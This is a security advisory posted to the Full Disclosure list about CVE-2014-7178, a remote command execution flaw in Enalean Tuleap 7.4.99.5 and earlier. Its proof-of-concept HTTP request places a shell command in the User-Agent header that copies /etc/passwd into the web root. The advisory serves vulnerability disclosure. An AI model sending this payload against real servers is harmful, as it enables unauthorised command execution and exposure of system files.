[FD] CVE-2014-7178 - Remote Command Execution in Enalean Tuleap

[Portcullis Advisories <advisories@xxxxxxxxxxxxxxxxxxxxxxx>]

Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean 
Tuleap
CVE: CVE-2014-7178
Vendor: Enalean
Product: Tuleap
Affected version: 7.4.99.5 and earlier
Fixed version: 7.5
Reported by: Jerzy Kramarz

Details:

Tuleap does not validate the syntax of the requests submitted to SVN handler 
pages in order to validate weather request passed to passthru() function are 
introducing any extra parameters that would be executed in the content of the 
application.

This vulnerability can be exploited by external attackers to introduce external 
commands into the workflow of the application that would execute them as shown 
on the attached Proof Of Concept code below.

After registering with the application and sending a request similar to the one 
below the vulnerability can be triggered:


GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1
Host: [IP]
User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && 
"ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[IP]/svn/?group_id=102
Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; 
TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5
Connection: keep-alive
Cache-Control: max-age=0


Note: In order to exploit this vulnerability a user needs to be in position to 
see SVN repository.


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7178/

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